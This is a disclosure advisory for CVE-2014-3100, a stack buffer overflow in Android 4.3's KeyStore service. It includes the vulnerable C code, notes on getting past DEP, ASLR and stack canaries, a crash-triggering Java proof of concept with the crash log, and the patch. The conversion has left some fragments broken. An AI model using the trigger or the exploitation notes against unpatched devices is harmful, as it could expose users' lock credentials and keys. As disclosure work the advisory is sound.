1 The KeyStore Service

Android provides a secure storage service implemented by `/system/bin/keystore`. In the past, this service was accessible to other applications using a UNIX socket daemon found under `/dev/socket/keystore`, however, nowadays it is accessible by the `Binder` interface.

Each Android user receives its own secure storage area. Blobs are encrypted with AES using a master key which is random and is encrypted on disk using a key that is derived from a password (the lock screen credentials) by the `PKCS5_PBKDF2_HMAC_SHA1` function.

In recent Android versions, credentials (such as RSA private keys) can be hardware-backed. This basically means that the keystore keys only serve as identifiers for the real keys backed by the hardware. Despite the hardware support, some credentials, such as VPN PPTP credentials, are still stored (encrypted) on disk. Figure 1 best illustrates the operation of the KeyStore service. More internals of the KeyStore service are available online ([1, 2, 4, 3, 5]).

![Figure 1: The KeyStore Service](image-url)
2 Simplicity

According to a comment in the source code (keystore.c), KeyStore was created with simplicity in mind:

/* KeyStore is a secured storage for key-value pairs. In this implementation,
 * each file stores one key-value pair. Keys are encoded in file names, and
 * values are encrypted with checksums. The encryption key is protected by a
 * user-defined password. To keep things simple, buffers are always larger than
 * the maximum space we needed, so boundary checks on buffers are omitted.*/

The code is indeed simple, but buffers are not always larger than the maximum space they needed.

3 Vulnerability

A stack buffer is created by the KeyStore::getKeyForName method.

```c
ResponseCode getKeyForName(
    Blob* keyBlob,
    const android::String8& keyName,
    const uid_t uid,
    const BlobType type)
{
    char filename[NAME_MAX];
    encode_key_for_uid(filename, uid, keyName);
    ...}
```

This function has several callers which are accessible by external applications using the Binder interface (e.g. int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t* itemLength)). Therefore the keyName variable can be controllable with an arbitrary size by a malicious application.

As it can be seen, the encode_key routine which is called by encode_key_for_uid can overflow the filename buffer since bounds checking is absent:

```c
static int encode_key_for_uid(
    char* out,
    uid_t uid,
    const android::String8& keyName)
{
    int n = snprintf(out, NAME_MAX, "%u", uid);
    out += n;
    return n + encode_key(out, keyName);
}
```

```c
static int encode_key(
    char* out,
    const android::String8& keyName)
{
    const uint8_t* in = reinterpret_cast<const uint8_t*>(keyName.string());
    size_t length = keyName.length();
    for (int i = length; i > 0; --i, ++in, ++out)
        if (*in < '0' || *in > '9') {
            *out = '+' + (*in >> 6);
```
Exploiting this vulnerability can be done by a malicious application, however a working exploit needs to overcome a combination of obstacles:

1. **Data Execution Prevention (DEP)**. This can be done by Return-Oriented Programming (ROP) payloads.

2. **Address Space Layout Randomization (ASLR)**.

3. **Stack Canaries**.

4. **Encoding**. Characters below \(0x30\) (‘0’) or above \(0x7e\) (‘˜’) are encoded before being written on the buffer.

The Android KeyStore service is, however, respawned every time it terminates. This behavior enables a probabilistic approach. Moreover, the attacker may even theoretically abuse ASLR to defeat the encoding.

### Impact

Successfully exploiting this vulnerability leads to a malicious code execution under the keystore process. Such code can:

1. Leak the device’s lock credentials. Since the master key is derived by the lock credentials, whenever the device is unlocked, `Android::KeyStoreProxy::password` is called with the credentials.

2. Leak decrypted master keys, data, and hardware-backed key identifiers from the memory.

3. Leak encrypted master keys, data and hardware-backed key identifiers from the disk for an offline attack.

4. Interact with the hardware-backed storage and perform crypto operations (e.g. arbitrary data signing) on behalf of the user.

### Proof-of-concept

The vulnerability can be triggered with the following Java code:
Running this code crashes the KeyStore process:

```java
Class keystore = Class.forName("android.security.KeyStore");
Method mGetInstance = keystore.getMethod("getInstance");
Method mGet = keystore.getMethod("get", String.class);
Object instance = mGetInstance.invoke(null);
```

```
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+

Running this code crashes the KeyStore process:

F/libc ( 2091): Fatal signal 11 (SIGSEGV) at 0x61616155 (code=1), thread 2091 (keystore)
I/DEBUG ( 949): Build fingerprint: 'generic_x86/sdk_x86/generic_x86:4.3/JSS15
J/eng.android-build.20130801.155736: eng/test-keys'
I/DEBUG ( 949): pid: 2091, tid: 2091, name: keystore >>> /system/bin/keystore <<<
I/DEBUG ( 949): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 61616155
I/DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/DEBUG ( 949): esi b82a78a0 edi 000003e8
I/DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 00000007b
I/DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 0010202
I/DEBUG ( 949):
I/DEBUG ( 949): backtrace:
I/DEBUG ( 949): #00 pc 0000c937 /system/bin/keystore (KeyStore::getKeyForName(Blob*,
android::String8 const&, unsigned int, BlobType)+695)
I/DEBUG ( 949):
I/DEBUG ( 949): stack:
I/DEBUG ( 949): stack:
I/DEBUG ( 949): bff85ce0 00000000
...  
I/DEBUG ( 949): bff85d48 00000007
I/DEBUG ( 949): bff85d4c bff85ed0 [stack]
I/DEBUG ( 949): bff85d50 bff8e1bc [stack]
I/DEBUG ( 949): bff85d54 b77765a3 /system/bin/keystore
I/DEBUG ( 949): bff85d58 b7776419 /system/bin/keystore
I/DEBUG ( 949): bff85d5c bff85ed4 [stack]
I/DEBUG ( 949): ........ ........
I/DEBUG ( 949):
I/DEBUG ( 949): memory map around fault addr 61616155:
I/DEBUG ( 949): (no map below)
I/DEBUG ( 949): (no map for address)
I/DEBUG ( 949): b72ba000-b73b8000 r-- /dev/binder
```

4
7 Patch

The function `getKeyForName` no longer uses a C-style string to store the filename. In addition, it calls `getKeyNameForUidWithDir` instead of `encode_key_for_uid` to generate the encoded key name. The former properly calculates the length of the encoded key.

```cpp
ResponseCode getKeyForName(Blob * keyBlob, const android::String8 & keyName, const uid_t uid,
                          const BlobType type) {
    android::String8 filepath8(getKeyNameForUidWithDir(keyName, uid));
    ...
}
```

8 Vulnerable Versions

Android 4.3 and below.

9 Non-vulnerable Versions

Android 4.4.

10 Disclosure Timeline

- 06/23/2014 Public disclosure.
- 10/22/2013 Updates requested from Android Security Team.
- 09/09/2013 Vulnerability acknowledged by Android Security Team.
- 09/09/2013 Private disclosure to Android Security Team.

11 Identifiers

CVE-2014-3100
ANDROID-10676015

12 Acknowledgment

We would like to thank Android Security Team for the efficient way in which they handled this security vulnerability.
References


